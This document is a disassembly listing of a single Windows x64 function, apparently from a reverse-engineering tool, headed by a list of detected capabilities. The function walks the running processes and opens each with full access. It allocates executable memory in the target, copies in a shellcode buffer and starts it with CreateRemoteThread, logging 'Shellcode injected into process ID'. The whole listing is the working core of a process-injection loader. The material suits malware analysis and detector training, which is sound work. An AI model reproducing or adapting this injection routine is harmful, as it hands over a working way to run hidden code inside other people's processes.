Function at 0x1400032ec
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x340
xor ecx, ecx
call fcn.14000373c
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
lea rcx, [rsp + 0x78]
call fcn.1400021e8
nop
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x140003366
lea rdx, str.Failed_to_create_process_snapshot.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x60], 1
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x60]
jmp 0x140003733
lea rax, [rsp + 0x100]
mov rdi, rax
xor eax, eax
mov ecx, 0x238
rep stosb byte [rdi], al
mov dword [rsp + 0x100], 0x238
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400033d2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x108], eax
je 0x1400033bc
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x78]
call fcn.140003200
lea rdx, [rsp + 0x100]
mov rcx, qword [rsp + 0x50]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000339b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x78]
call fcn.140003034
movzx eax, al
test eax, eax
je 0x14000342c
lea rdx, str.No_candidate_processes_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x64], 1
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x64]
jmp 0x140003733
lea rdx, [rsp + 0xd8]
lea rcx, [rsp + 0x78]
call fcn.1400030a4
mov qword [rsp + 0x98], rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x78]
call fcn.140002ed4
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.140001fa8
lea rcx, [rsp + 0x44]
call fcn.140001650
mov qword [rsp + 0xa0], rax
lea rdx, [0x140005380]
lea rcx, [rsp + 0xe8]
call fcn.140001ee8
mov qword [rsp + 0xa8], rax
lea rdx, [0x140005380]
lea rcx, [rsp + 0xf0]
call fcn.140001e2c
mov rcx, qword [rsp + 0xa0]
mov r9, rcx
mov rcx, qword [rsp + 0xa8]
mov r8, qword [rcx]
mov rdx, qword [rax]
lea rcx, [rsp + 0xc0]
call fcn.14000105c
nop
lea rax, [rsp + 0x78]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.140001b50
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x90]
call fcn.140002e10
mov qword [rsp + 0xb0], rax
jmp 0x140003518
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rsp + 0x58], rax
je 0x1400036ec
mov rax, qword [rsp + 0x58]
mov eax, dword [rax]
mov dword [rsp + 0x40], eax
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x1400036b7
lea rcx, [rsp + 0xc0]
call fcn.140003288
add rax, 0x18
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x14000367a
lea rcx, [rsp + 0xc0]
call fcn.140003288
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0xc0]
call fcn.140002e20
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xb8]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [0x140002898]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea rdx, str.Shellcode_injected_into_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001100
mov edx, dword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x68], 0
lea rcx, [rsp + 0xc0]
call fcn.140002558
nop
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x68]
jmp 0x140003733
lea rdx, str.Failed_to_allocate_memory_in_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
mov edx, dword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400036e7
lea rdx, str.Failed_to_open_process_ID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
mov edx, dword [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000350a
lea rdx, str.All_candidate_processes_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001100
lea rdx, [0x140001f10]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0x6c], 1
lea rcx, [rsp + 0xc0]
call fcn.140002558
nop
lea rcx, [rsp + 0x78]
call fcn.140002570
mov eax, dword [rsp + 0x6c]
add rsp, 0x340
pop rdi
ret